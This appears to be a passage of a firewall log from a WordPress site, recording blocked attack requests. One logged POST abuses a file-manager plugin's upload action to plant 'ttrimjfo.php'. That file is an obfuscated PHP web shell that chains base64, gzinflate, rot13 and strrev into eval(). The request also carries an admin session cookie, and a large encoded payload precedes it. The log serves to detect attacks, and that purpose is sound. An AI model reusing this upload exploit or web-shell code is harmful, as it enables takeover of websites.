va2JH05GoJWA73q+ju6qGXU7HIfi8vh2dECxDXSHlAnBEaYy7XJADwZDdObxpc\/9oOv6VgS2o7IfPKv4eGhQpGsuz2RlNd3k4DmyDAJJrqwTxS9kqVKGo8etVdxRjiJQRMplAuur6Yp3qFioNpEYFHnqfKcmXSamkmD7wNFd017OXwtapmvcCvzFhWa2CDB6s4QOnbEzKdzh3CepmFq6o1UEEH508sXH0iMvJChoiIsrgCpEVWzWBiBBLRP\/bWx8toXluOlCl9tC0ZB5qO2wIb39jPNFDBk24RZXFb6jN+9YO+kTICiPj6+MYwrcKldMVF3SryCOESmgIQR1ZUz69cPzevOVhtsbPYNNKNAtkWvS2Qs2CtA4KsNqJK32nrmTtm1t5aAh3eia23LAt8zOm6rbN+I4QeE9oS+9nryGA96GeQX7Gz15EIgfZ40yseKTn9pstDIMSw1ogyML2F\/DRPKeUzSWeH5Hw+0y5ZfkrcD5LN8PNrMe0EszzQuN3IGChufwAK\/nohalw3cySJQze7qJsRJY8FoxQVWrEpp2rLYMMANb5FBCOoDAAQcW3U8unx6tGXL6TFORhLg4PjeJI61bE5bZILJFmObUtwi0v05glvpAAIubtLmb02\/\/balNiSHr63HSE\/oH9nbAlvXIEaDQh6sJSL\/A1n7Oc1qHtO25X1\/DQ6WUXdrNgwHymxEdIemku7LmVYGDutQ0ZQt1qy1ia4dm3AxBYHAFwzMV5aO49TUQBy4vKjJy3Xf2WvYbVhLPcHp\/ZJUQBMd0w+wqycJYKL3vtWht1TLygAftJQv+eU4amReIoScnVTJx1b+XegoXp0uVsVopOKP4QUUjbeWF\/CeBpXy9yRmbJZ0AlM7t1aEqP10HN\/MDA9+3Mr9E\/gPkuINA4qj1qIH47XjcnUmDN29qOFfSkWiodDzThkWgt669PET2hbUvI0TadUnuMNLlzKvEIY9Lj4iKxUa4UAAFE2iBNnY8VTz1CDURV6qp9U09kGTssbdY7cSsMLxO2a+zlXwu2saMp6ilVZNLY7WujsSQLJLUnhcEgmJvZv7isOlRQAdXgjpJ7tJWcm5sCh6ZU0emKRm+WMx6yCtP4wqmpZhVnIAqmCBNyfLinZsk60t2sB1JpVPGuPO3OJecvK7irm0ohMNYHdu3A4JZ7h7llmEnIk82olaJDi89rVgw4eD3\/q1kVkIwIamglKmXYXQVcE5P+EsUCSYhvHXoREP+rgOQRbTyJyisarJ+eVik889SGPdzwT2n5OfRkExHvCqV1tawGHN38BufrWEzEQAsFEZh2U17HCz7VqO5u39McoLif82W9TSaA9zEcPEeNYz+tqA0bMiH6MhVyNYefMWbqHrmdK7zi81BbFTazKT4so66vNTuAHjxUBFnKgdStSTfx1zWN1uAVicAt2l\/ptb1MsYykEXJsHzQO7Ucn04Gy1RvbEBb2PzXV6GYpWZCLy2RWSK9czbYJdWp27f0A0ZKbeDUFpEhC5fCEn6AM8dSsjDcep4YT4B37rrZIOwXsdenD9uc1zFYdBbWP2qR3onu2BEXkhbxDFG4iZjGRV57mv0dU9+D3TslaEsfM5xwT8z5utKgNhsM9+5p0ZvV6OlKE3kn1RPZ0XL81L3C6rwzv2l\/BR02vjtudFhNSADvzSVR4l34rCjn0JrKH1qSR9ZgUXA8w8yMURWNz+7FRXZaJz8CzTx8OWgYp+v2RBPDHi4KbklGZBFTgCexVraF7toQePkk9BJE22YpT8AMYMae9id4Yii+6lrAdJTDhJtJfZYIRNdGIWgbV7qtpJd5Uf1cGg2PImPorb6yNpjfb4VUAIVJGiL+M4LNaTkipIKmYXHHpNyytxnD3Jm4lVtbECF4Q\/DvqLVWlH+kuQqShqG12eFepT8dqhfpqU+W1mJYze81hjcuO+DQOqlVLJRTFBcpkZCOwSZsLHrtPZGFLIw8PUp0I\/Lu5TkJXPXG+qlmoslNUhKe+6Jw1ht8qn7bchzaWJSbsJYpM81\/qm0RsT3MlJvhUHwlqmCiFHN2tO9cNqtAx9Xkcwh0jq+MVmSbCcU8Zk9zyLvoATObYdHF\/DgxJ\/eFyIz\/0JjOWs8unzK3rclrurt7FKgZvZtzd+ucodnp6aKn9GOYPwLpGDzmUX5ugF2UEprQC7adofUg\/lCS0A4BUnCH2wMM8FSZJO1pu\/\/kWKR9XCy9ObEAw3xMBez0y7RNe2OiDYxFg6tkSfHf+8tleh301ODIWpOXiArmKbfaiF35WhJYhJjyzxuzvgvWxhJstaS\/538EiesWoc\/rfpfrhUVZdXicVlZAIRMDRy7FC0m153LdmlsU82mxnKBBocVkbwFD4nWCWmUTbIH5aJWAWJvZGxYKk5vUhmEvb6qBolkOAqEy0g0n6rUQLX6WwWAGBXIKHAGKijuQxD3Ko\/TmE39Kfu5PYOfcQmh6PgndFC+0KP1BSLkHN9bBTxux26NSMEeBr4IC4AsGArUq4FPnN8eUNjxUIzWfD4JC+zPmEKdZy6Z66hBFGNZaOqmO+Fb7njWS40pGq5ABLoAxLhucR7AW2p686\/DwDU0kKny6YTh86B4Cff\/DzwmR4FqaQNWhNbRfgttnazCADAFFvNP2YEM3fgDZpoMW3qqxiQz6c\/KQZOZUCtSY9tqR9d3mjGVfDFT\/6CujuWYS3kT5KxTLuEQnTISndgUvtj7jPnGN9GSI\/UUejCn3UlX8XtqTD94HUpk1yaCQ06PqktPBufZ4xAA7y4kpidj2yqTRii8FXarkABeIrL57u5y4YOLCIIxQwmTNIbrI312gAmMQkrrNH07DVzli1fFlrydL88TWReazQCvcLIwD8+gGeLjf1B4FBveL8HnMvrtHFvGPRuRu1kXx5FerXita3KQSr+5jo1erQMNc+aoUOLns6uX0p3utnUIPWa+oFgUuhgD0v6MzEvpqzXtdD3GtP76KUY3cIr8VWl\/dgAnXTbiF9od7n6zTAlGQQbnsNmYWfQ0nVsmpm\/XYpFbf9sCaifpO1ri37HQt5yzfGn3uAvVM\/TUgpAehjcgGF+zJvK1P0FvrW9l7AqMIQlH147BSCldF2njl6E5ebEeuxTo6jtFjuPJu0SePj0+kQ94QuEY7izA9ofmxVnQeZlFjK9ggQElqDVOYxsEST\/hK5OIPq3MD8CHO\/WhQcY+UArA59on\/4psetKg\/OwmlfVcRMFoAjNi9xePjFfTSkyQshU057AhusIA79x9Pj52WY8Zn7FEQDYa9I8zvF+WDu+jTlOydFgw\/Xmqic8oCcBdXspH1zhCnM0pTqvLTuHieQ8kK9zPy6YRfQamhwFppmHlR9MPnKtdhnNE2mIHzo90dstZAeXAB\/DL2tmU7PHa9ey4jLtb\/dzytOCb85jxIBQcaFG2c5i4PThfaX81cuY8bInaaUF7VEKiyHjzuoRR\/aRso3cLCdAV2j5HgpTHf9rvWtu\/TzITTms4c0593eidMPiqSnk3+kzkmGMu6eA2iRtPO+4lP9YaVI4toOMmcP8aGOphonqpAZEP1n3d7t\/9yLmBvlyQTrdEsI2QlxXkWtCvSVSen9zs4aiWLilWkuiHHYYDTLRJptW\/rZg2\/GRYSddEZk2jJU4OABgqqxHv+eGt663NQXW3W4aThOxC0lQiiGITESnNyAxpZTtEWPRejRCz57HAMraGHd15R35OZsoSeOyNRZwsJs7vFSp4RGVF+xOAQjmhv77PpIKXfTUIriuILUy5A2DN9ykAGj57sXFTppILi10s2U57ZGXyXc2IcptzWNgKZb65hH+KbV4cqeJHm0e7djm37Z83AJnYOoEvUWKgTtwfy+TlWkJjVqOQ4zLW8h5WEW44674LWuceuiMUOeXORF9Le7Z5GtiNb95iQrkQR27E9T3bVAZqfHMZSZhWo0cTXlLuDoukRfi60YIfX1Uhu4Tt4yKvLRu8hBKmw4AMCm7O4iGdSPr9xI3Hi62K+2ytQikhqPv6W1jo2lweDo5mz6hTrTz3L\/Qbqjv8rHGRQYiqG15IHO0vjQuNtQ1Ez5PdUd53ltNJ5Zxx6mOY0UgHD8pV0mMyaRYoELWlp1unR+gXduPaX\/OvUsjRln\/uEEOn7r7DvMaBwtx3Ey2uddXBAA6FMGnWod3STMxBoxhFyZ3kMVxuBqqI7jCrTBgG5yVjKyqkiH452j9FmrCx43Y\/KuBpzpKBIt8jcfF2GrEThQcltG2W2lJ1aQ+Bdl6vWThGoWP1W2wbRdIRnTShJZTYAqGTmIGLXcmLEhoDmtsw\/ICQUHzzHHbzyJ0ZwmH3sMlOVGkGEs4kvmRv52zCbTp7kwyVtzC60\/WoNno6VEZpTgKPHHOQtPGC7U0Nac\/b6EMIkIuvvsO7\/1KsMorYECoGciEB\/2SdIe9jXuqQConS++Tj\/VazavHkKQGbSMmYgGA9Fop+\/AHr9lJkVr4SMZ0cwbKHZgJAz2NRw\/42d\/cs\/pjnQmiGs6LrhAE3YeMbCEHSPwMv7GEflWQXafShZXdvOg67GhExuBdLDRKWsBuzqdBFxS4I8QnIpVkaypKZBQifrUxcCRp0ivW6iaYbbTGhvsfVkPxYz2XUQpyHao3JL8Y9y8LYx4UxGwFh+7HPVK6JtfhaYMpuPEwjB7cDxeU8NRhtzOeWi4T2BzLDaOIcGFZv0jZuqkl2x\/fxruLNkQ5Ek6iieCrS7p8gbHe68PtS29YNMIAPZt4oJcw6t9cAzWd0NKjQGsNoGiVVjJEup6DjS54KtLCD9+tRohXuBt8yTG1a9D\/qn4TFKcA0BxQkSk4GFd6VylNynildjaxnXdGdPBau\/y+Kbm4w0VwWUFdZd18vtnZUe2M8mvH0kXUfUcmR1wB0rxp\/tLSF3lJ0+N8uZUrNqlAhhGWym\/12xfTDy5FWysSv7xgj4SRGsHZdCBHNyoY9+hQmPEq0jmmf2gfr6xvPVpYw+vDJ40gDNRs5OoZcUswMSVwnxZcgAgXJIVCuJ9DFDoNbd1HsubDVkJXthQL0HIa7offN2c+V62xy11L9TWeZnLJ\/ENED\/dhq6R2K4XIC9rcuDlEh84F8+pmo0O963+LZFWmDQCgiyd6aJBpBY+hoxfj9N8ck8NEnpdYv4BinT\/4dapyt80itMPKsyWgiaLZtMtVw+7v\/0ghHZonUB8hdNCgYoZXV9R+i4lSpoyGZ81\/0YYtP23DHXWMUK4ETR+AmCl+Tnqy703lO+ARC2HgZX3A2fJRm7FqvpbTkVFKpWHASmNb8txcbbv7RvxzWrS3RlQ3Jl7G3gcjuVtIY6ExBY7IF7m1eH5MAQiDNtgbmmYldAnXRn9pRam8Fmv05uvm0TOWZ78N5e39ue7PSUvQnDPbjY1erjcBwqO6Lvn6FV+2cGC1K14GzjGN2wdNhtnORZYkBtTvjmkBLkOICJ65q3Jzghzc9T34YD6Ip3ykrZP1A0EAnTdG7UH5HbTev2lM1g7Z7evPKnjMeihwmfPFx4BknbaO3eQRt6XOtF5yqYWs8ETMLUtQ3k7IPjDTlQT\/A+R95eQc03NqGCioIUgkrxam+sKb87D0nv8hAFCoVycmLVriQr0vp9xYRl7Pk0C4YVN7KqH0w+r3r6JEsuuXXmuOErw4TGJUhOjJh7OJGPs7\/Z9hd4KOAuN1AMAPj+M5FlfG5i2ncKfK+nlOnU8J4\/lImKlPPFiWC2yHXpw7W4Uob4fKd4X9hbMov1IaJob8FfQR+mPobE9JNftd1CdB7uTbnRh843ShPyt\/cN1gFSfoK2ddG+43fGoFfBQ1Pt9\/Sjh\/QyVCsh8tauRjTxGvbSqvh4Csqm22vKv9\/DbO\/kW8Cnx085U6FCbuZhDgbf48frSdpWtiqY4cpR\/LaOPeNIMjgU3aZfL+OGx8KLvbupI2gVqqcX+kCR\/sRcr7aEbyIV5\/m0wv9WtEY4rQOe85Q6uq+cYvcAqZTKmR2tiHQUXPdvX+ovrJxXPG6SZ21r4ommRIJcnVIgNvxyCffVe7DJZhRRRpEdRBzVKTfbyJMNvrMF32FRwkQoC+ue5Vct4vv7mUblXOGwDwiy\/v5sLOSN+SzjoyFmpdFi\/ZlaLvqYtnPRHXJHR5DFByxo3XhATW8QY5fPMtbElWIO3ar0UtvYecz1pku50Dqw+958hOsWUI97F666cA2PsjMiVY82Eo\/zFlmmjnTxoFs8fWZjkQR6F\/aX1ssDMaqYhgqlcIqlNnuvxjJN5ZdT2ouBN9of5ZYmpsG868Q34KI4Glq3nSs0fVHvo0ThjIWsfAoWtYWI1yMrCALerBube4Cdax2eC7HjDsIpvfkQgz4i+M\/rZlvxlZZ6fF2fA5cSdCSelDDADoF\/OaNfyiL5XUj+07eCoL+dJ1frw\/og7T9plGRO80kOEyw\/ODtz3E8LV4M0cQHGsLQlFG\/iqbg8LKGawIeavC8Jti17PJMJvytToMURFvbPDjI914mUGyPI7yNaWlRVrI+SxK59qaEq657\/9Nyx45A3\/EsOF0fkTiCQmDWYjURyJmvV8NMq3ha5ufSZx+JG9BHCkSl5\/kaYEYyF0ZizkvLipFIG6I5hisObN3cuKEurYh3AqLopLk1nscLHcp7YHRxisTAluB3ML\/RIPCOikdeuMfX1ahT2KHkdiQq+\/3+zkxazXaFz2nSR1eS6M1mT5BEx\/xUotabuQMBVvMCACQGeHY6lCyIUZG85yesIO2m3gsffRs6wnwbmZT0vPRu6t0CJ8AQtj7k95obAQlsmDsGDqio+4pI0y1\/DUWbIBLGixqX5kHFRpB1rl\/Fc23SykHJ7CyWpeLGrkkE83SFXiZ10J1PQhNNAQDq9+ioXY\/Hso5E6FYeIdBLrtFf6016EKi60XvT7+kwjPQETkaBMGKx5tzx4VWEEHUm+ek4mxOAWAEABCAsOEoAN5RTbfSHkMvvdeS69C1628sJqLx4kDPREHk2teaVxIqwzGX72ea4Jx0A247p1ZPSN3WXmOBekQdZKqW2C\/iDVNcFkSe2d8Zf9D1DRBpiiJBZP5U+flrIjWBRZ2jEzBSU5OYsoVeaYJpfmuvoZP2StiLBL57G6PVNcSX8U3sZh2LFOLAyPyRJK2zciUx2mWN8U3TSLXXzkpkC6FXO2NwdovXk+7\/3J97Vtzw9WA8C+V1gDahLd21CqvpeS+Em9wpb2yFTP2y8IUz1VTZlz6rz+bCW5OudqpryZ0sltjWt5DTF+7+OpN++QU3unuCTqr5fkSnKVs9LwvZqtoX2sjCjdLja0usRyvb4wsxDDGT8Scwoj\/1XG3klbn5Q5rZVZHJnXVzcGE7FOGHwX1BECFE7vwyrGOviyzOuN9XDpRN2lFfywle+83oneRB1C7RsFkLKWsEkDOYN3PDFVzlOJdTiLdVmuNrJaxRkhvzBxMtmRjhT\/r7Rhvx8qctNKab+1ZQNJ0xgqPvajnITCaYmk5Cx8DNnJcnsWq3h5c\/N2wcrTbcrJxP6TbyeWod0QNR\/Z\/54SHijge95vJWRTbMxTBLKrw38qqrlcxgUDhPiCPaNNPQncxx4lkazu7DhYZKFRZqsCPgPwEAcLdbDXVZxgL\/OKnqEbt+pXGfD5+JgIeRYuZoliX5VqthlSh9G0ECDbgAfbWk5muIyctpjoV2JRm7leY+5rhBMKwKqNElj8AQ42USpsG7vm\/XHNrVTfxNKv8KWpiveDh8lnHk1gyJVnTBtEJ3GxIKgPtkV2hmdQDDSRrvJ21+0sxQZhU5C86OKyTRI9vTzICDIYhyfxNJshQHymnro\/RA2NhEbIFHlvkpxMGM1OO41eR9iz8x5V3fPQ7BLdsMgeIOQwC\/sMxYhxBrviZlCqmOacqa3GPLhl2aX3\/XPocSSgCJCLEnHUzczSbTWfjfX8AB9jTOPoYLcS1CRz2DDXVJKsNV9vWPAjsSMwjW0YZ+PQiIZzl4T506V2YY7E3qFbOaNj1c3eJEoW5CA03TqFCId9zg7hVls7LyXmgN31SUjNPg7VZb\/7AooO9CMY8gF7E3DcNHKXetNLjTdLr7DxUkAEB43bgLdCUiW\/Seq+971OjrDESD9aXqJsy6XFOmV9VRa7rWbAAnOxct4FIACJcmyacJ2eBNZenMpd+uy5dBUomsFzmyVNTl+mi\/eD6pmaAWmUPOr0vPCunCAqJdoCmRwBOKOlWJRa0sVcxYAfkhloD\/52w\/FPv8L0+DuMPpltdM4QYkW0SbksNicX+3pBu\/7EF+OzlJRSKQwxtXSuR0FUFQwoQGlRvVBbYe5PKAhIGC4hVK+GtvFxp4OjVDnwgli59QB5tRbPQjS53Y997YKO+27Q\/7i5xWeV0aMnESNfbB7YE\/uEe7KABCbWgyYbpKDH1LNKATHyg0cx+uJ0ua1EO6jNaPw3hS542CrvlZzXKsB88fZMGidOX0l0XHht8rITlLQJSpoPuVnM0+cNNHR73MVBwwp9k6qpXhVcmdYkl4tmFAv4LWv3zzb+dGnLYsxAn58\/PaLjiu4gW6lTEoAFebIT7uO7YBxC\/JVaADeQVJOtJWd\/7+LO8G5jwSWG7cDebL264fkCJ8Pxcc9a9G6HRTozCJq+PzQD3Zjo9mD+1t5Wn9FCH6\/emae1ZkMUGGTzikQa1HH8Lv0+xXuGAF00YYMX0JKk5Hawu8xrcwuUJtGXXals2\/TT+PnBLtbDpeVPfabfg2r3rO3ytzDEt0ma77shM7HEukynf0A4t\/apDpnFzr5ecKx0ES5aVJKgBHSfsoXuxeVTUGFboa5R302JmElfl3T2hlK2C0mzlgdOuE9BZGaNqkiobgeXKJJ1twDUVAg4pf3ctJpRMylKfbyWYQHnHW2\/NLFAbQ0IrGGVr3EQhNunMnrv7wJaYACBig8vBDZFlWVHzuR2pCbSItn+4H2ZEm4FIAyD+CZr5UIvD9eO3V7DY\/iWOMNkovfh5frdljq5OzsIP6jEPab94ZCdwNDAEAmme87y\/GT\/tK1HRpuJ4Tp2lFrW3p3mzRSE8YCmbGL4NXfo+l6+3MpZAK2m02SvvATuXzFICLM61iG70bD824vLuXT6elMogS6HGG6z9b86Q7g5q4Lr9\/IEMVsOjpk4BhyDjU+6uuXpfk6nOrrETJs468qfdjNL6TB3V4rX0ypxaZmOvcjeCG8fjyHOQCACkGkJDut321dAw5foKh\/kaFaUWqMRF7rIvCXyJAJEABPwUmmwzJkeO5XrCDyOdj3NBex4iaED6bhoPYFGzF3voahtrLrho8zMh2\/UIm6aFIrJSVFCVT+OhHkF12eiGohKNvxz3vuID82Z+JlUn33znZEEM531Jgmp3JQ7zVhfYVLXThGkCLGBLtlZR3EIGPRxucEfTMdx\/VEgStDQqcUzvQSBr2Emo032xS6Ota1WPOEY0pAKJ6fr3Tzlge27k\/08MYUtIHIRRwjzdV62mbJeIfv3QwYn8M7Xa2dieeEMAyklXUv32U2pC4Q0zp+\/htwrcg7Uq372hsZV5g\/260rUx573wxwmfCC6IAqJDF4rK+i52Ok\/TzsMu1WYMBR\/lnblDqfHiSlh65mNSl8P7+JcbUv0syFKCVsJbiVyVL2bbWt+dMTG087w8B8XJG6z\/t06k9gR0COSs6rK1jmNRuggMAiOytv+4IsNfQsIcFSLLebfggykmtXz1yryqQw1ZMoYoP47+mt5ENTGpR04qIhsrjdeqgX\/Q45ZKS7\/MOVhAv0o8WdpeaINkqzZ86pIRWKcV6TN4rBuAUR6PUVvs8C4wYC+yRBTQRUgDGjNNNhoEnybrA+uNOZNC5yJ7ivPhiBzqXZ\/LnXCrtP1uRRN9PmwJmN\/fxka\/4TJDcyw8aXYrCiCKn63L6eAtJwY2VQNypSses8v\/Ii\/nIk2D3jSGXlN9yTdaRAp0PlCDpC5ucBy9x2um9eIA7gcIQOsckBx5SBcUO\/zaDAa2eXgAnVYDhn68GYom4X\/DMbrGFDcof\/QV\/0RpB\/BNeZX4VfA\/2fItbxEYhhwokwQMcn77\/hllhVmajvWdDtgxj\/bFMk7rHTvp6kaRu0USubtlu0tRh0v5b3yz3BiF\/wAtNB5OJtd\/IPCZmaWETFs8WcUOJCcFXrKdWSgP8nfS65rc47MdqpzmskvRtqu0Pt4jUo1NuGpJKlpTInbW6KAKzUbmLXJLTS5lfLrALhAvO5kQfPSYmNMwrV8tx7OzJFAA64wrfMQAAwoqOxCTh2TDl1F8nC44yWulXY0NJAsv0ANN7KbvsNL6b7FlkcRF3RNLlzSuLbINweyPUS4rr+ih\/HAUgorxxDLULm8eSWxe5QpHpwNa5ndLS85mvobD0HFZeuKQbNGcHq3bhetMCFPt7qX\/1\/aceHb6j3kH20mLP1EtchQ753I5d5PFsUNhENYT76jDBfNopHK6sFwDQsmaCm9tMzdyxKMBWmnxd\/seaAS1Ey6v807S1QNfODoJqGkHlCEVfwF12y5A1l9hl+Q9y0mjCu6vrdZ6A\/oYtkaV6aNoFvz2RKM3ecWYX5ZbvYeoP\/LKveNfFEO8h2jQ\/qLLm5bovo\/p5kaomriH61\/7JfOISU98594IPEeTDP2wWqsbPZ7eq3rxiTxEOb+lht+FIthIJIbinmldysslxSt7xFk+HwkUmXUnryA6UupjXQbUdDXuKAEDbx\/vcpOxve80rxEA+CoATH\/Ur6\/XikiNjmJsypY4TygkpQ3vqhT+o3XCGiINptSh6Wqw89Yrh1I3CYOEeR+GZMSed\/I6u7tv7bRQG\/1HIaSOhN\/Bcb4GTPHFKbedzNHD25q26RUOfYbPWV94YZdLuqaaLajFKtuCufEkuuZTwb1q0AhYqKvIbw9visheWSaAXfKQGm68Pbmn2HxLvCMleMqXCufLwqS+3nyPX2nCBc5kUgPCEghzF2xRekXqy9VLtNBkPh+uJTO9KuVYP\/nt7KJ+p9yMPS6WvJYE7Pag1OH45svP9Ni+XyRfNI74IP0tw\/SVktBB2lk5irZaZNQT9g0ZU3tHTK8qfrPxyq4pmCj5RcLs+5rMhj9e18FA+p6wrEguqTQdohVUnHtGBM+SLlgl8IlScfo02POUdQrwq92C0808qUQ3hvJCMwpzifygAXTe2\/LJuGuWR2JB8hat1hB+TPkfUC3fhXtX83xEx2YZEKgcr4tHhyfab0WjK+E+8OXLz41c7LZ0w2eI3TBLpj73+yRKvyTpffT9XNDm8v6MOY79Vd25+aXDmi9Fdn5B8f0W+\/y6Eobt+\/6b+\/Pqevf8WWHn9xqpK6Oq4SH7UWTzm1SH6qWOAsHfz4feSxKSeXgiRFcU1Y9CNkd1vpuVn4MoUkgkAnBupZtLBAP3jQEUTUPzXGtv\/XlEkpKWA8AH2AfWhoHRyNPI0tnYi5CP8P5bQeKgoctaXKf6GTf2NMHRzdnLkoVJWVJcQFtJX1tPSktdXpnQxdDM3NTJ2MtU3NTI1dSL8Xw=='))))); ?>\r\n--33a7abbbafa5cd1950516bf0e5648985--\r\n"]
["2026-04-13 06:48:18","161.97.104.217","POST","\/wp-admin\/admin-ajax.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.124 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-admin\/admin-ajax.php HTTP\/1.1\naccept-encoding:gzip, deflate\nhost:dewenlabels.com\ncache-control:max-age=0\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9\ncontent-length:20090\ncontent-type:multipart\/form-data; boundary=bea7a9fdd0123f14b2b0215c7e3b8976\nreferer:www.google.com\ncookie:wordpress_sec_3309b4d362f120e2b595228292f03253=admin%7C1776206871%7C276kHSABLPJtu0yu0UWMeyQV8WIXXBiEs62Y86DTDjM%7C4455c7a540d9c92760f37c26bba4818ede49392fbb8fba0e7483c970c74b4503; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_3309b4d362f120e2b595228292f03253=admin%7C1776206871%7C276kHSABLPJtu0yu0UWMeyQV8WIXXBiEs62Y86DTDjM%7C58cd18764e74281869f9fe39ca306f61e950f5f42101b4a62730cd520a169b67; tk_ai=woo%3Aq77ENrbxlN0nWIsyMJCsQCGo; wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce%26hidetb%3D1%26advImgDetails%3Dshow%26mfold%3Do%26posts_list_mode%3Dlist; wp-settings-time-1=1776034073\naccept-language:en-US,en;q=0.9\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/91.0.4472.124 Safari\/537.36\nupgrade-insecure-requests:1\n\n--bea7a9fdd0123f14b2b0215c7e3b8976\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\na1ca49cf10\r\n--bea7a9fdd0123f14b2b0215c7e3b8976\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nmk_file_folder_manager\r\n--bea7a9fdd0123f14b2b0215c7e3b8976\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--bea7a9fdd0123f14b2b0215c7e3b8976\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--bea7a9fdd0123f14b2b0215c7e3b8976\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"ttrimjfo.php\"\r\nContent-Type: multipart\/form-data\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br> '; \/*** ecf18c7da6efc3961853a42ff883eaa9e74fb0c2 **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); eval($Shgrt($sJhXG($LNuWx($DesQW('rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf\/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un\/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy\/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2\/k6cLDxGlvpPVPy\/tfcP9zH4SGRm7mDoYWzjy6HP\/WO9+\/oHl02f\/N+V91fHk4OIXkvGT1Sf9J6D+UZPu\/ZTR0s2e2dnKlpDI3dKOk\/RvByvg\/iP3fo\/4JTPm3W3sLM75\/2v+owPL\/nO5N9S\/PPzT+lwa+vjx\/Ecz+2YgvD\/M\/SvDRuP3t0oGUj\/4fXm8nM0+nf9j\/aVIx8vG5kVI6u\/FQ2ZHS6jL\/Oy0PBztjPoe\/tP\/TR+tGSvuX0l+i\/6Jm9xfGkJT3L4yTp5urFQ\/jX0QeXaZ\/0\/wfFXmo\/plt6OT595bP8G\/2vx79pwT\/6sn7r1T\/nY2ZuZmbtZP+PwOI\/jKH+Q9FOekIae3+gx4FEJDKY6oz5RPo9x7TEIxzmHJQF5EAQlPBdb\/ACml28yNWVAupROytgxHBLW5lmRtN9QObEYxJBjMuT+fYmwki3MIXbntmPwOX4DmKkmZaKxrwKd+LALK3lEDxn3PsMm8yvXXiX1RdPKQPsQTekOBhGfnVwjCqiZJfKl6rpwKYyuK1XGWfkrYW4g2DAtLKtSshZXDibqlqOysE5klrY2Rga3iTyd5Riyw\/lH7Jy3PKmUyU6DKa3eQrHgtwFFS\/JPpWUgCK5LQLxyL064JvM96+k\/SHN0z6rMV6lcSznEbqyoIjnikbF3XTN7tV1m1q7GMOmEssB7ovA8oZ4wNiCCaWrh0cklvESic4dHJTmMNLjXZEBZfyTgu2+N9TRuJ9HEXoqdZ+HVJ6U0VP\/GQUoMc2s5PdYKUt0M+gAKTuIFhcZyEgkKG0oqflzadOXPYgWfXGTT+o0L08GcuZxKCP8SEdkpXbDNeb4GWQiu+pNXfiW3ecKPqqHB2WLOO7bPK2Ma1HtnyoE585HCjGxHYJW0TAJ29cM+s+bgihob4tCA1bL9raEY8i4E\/u7jo33yLbHvbfxBoQ1b6FxE8DAONGAofCEMi1sk\/PZ41E643oqZnPQ83i7m6GXYnaZx+Fxs+YjWQocaT8yGTShFEHBrpBdyUNFkLBZr2euK8NTsjss1Igq7jO3ECQkC1v946w\/H04ZDV4RB+4fx7Xno+r+2Xuzdl+92HRBudMPHdyT+iX7JWnDUrrC4DO7BDz48ZWlmyhqEoNQ5tCJ5t04ELkiTgf8JQkSjoLWshgHZK\/jVeXil3DfhFZmMgAABjAuzqv7GQByTID8G7CW5wwhBlwcGPM4jNJb9YIC\/pJQF\/1GjGkEfwfdmkM832JvyBUKj4bboY2yiTXjcPc1dI0a5xZGfOWRd2cIKqibSUMsCUT8L3ZLHqI9hjol5xP3QLGNUDxH93Z8hHO5NJ+Aa\/+zpKH4+ShQlQgKdN9XTXp6AOaUpBcVGuZgSNnscpmW1eSZYVI9Qv0N92Gh7wk0PAK+iV5jHpsLMmyLqmmnhCXxeFoIe3sVOF2MbVBoqT4imB3T3t7+aEo3vwKnVGN3HXe1Lo18EAZjk8whgM8cA0AqHktJhS4L7mmH1QUbcVI9vbE0nTDUD2gMgPZthRM8XX1FqnEBZ7zW305kT97szpZSb4NlvzkVjMtH+h02Sn2UZw72vuifZ7CCIBsTlgg7\/IJqMHZE2nsQlV4pcIvgzzg6vYV1atYwnKx5kRdAz+lakrbqdanev+d8LZHxyGTSJWhiDgBxPGzC+XNucP6Vm85VyEOhcfE8xJqf72+7fa0OXyqJDGk2ty+yMQK\/XNwGQAA2p5whdHiicFI7YyEqCj\/MO7wiOZyFYVoOLtks3d8jRYqsfEOqxdqj44oZO7FJBr5iAlSbtwFcRItkektGMS9JDnNsgydnE2XhHJ00+EBBY\/+wxAOCllx0kTL3in3A4X+QIeu0w8ubcPiwrM26TP\/trOiYGnMX5FL9HenlNgePZZCTeRUw9hFWYWeia5LUxqVgwSsgR4OS85DtJnRYUkXBUCx5pittdZmS\/oCxUHH6dytA2xTuoFxaCATwfZ3DIy88s5I9vpPr7d5MZzCxAalFVS36Pw\/QOMD5dwrTjT0ryqSnON8Niv8xa7QT\/jqcvSSiN1tRVkIO4jIPTdFPTsjNPeRZbp+\/BUaD1s\/euxC2ojtSxgLIx0ynGKqLWqa2TGuj7ilsLbLq7Wbf4UV4Pe2YgqnBQaotophVz8lDdIKRtiQlCeK0KPfrwqQcJmVPIzOpNF2ffzpXx0pZnuZLrWbO2l+6KjT3BUcyALqW2vCgn4r+15nb5RrDXhsSCK7ajX81cMXiZXA47tQPUHbx8JqtUxdfchyg8st9UZ1RjqSBgAkBf0gqO\/EnxmnT63QNlsrV\/G7M7cNyHUjbRrLlxRK4R4lsijfKKTqhJ\/W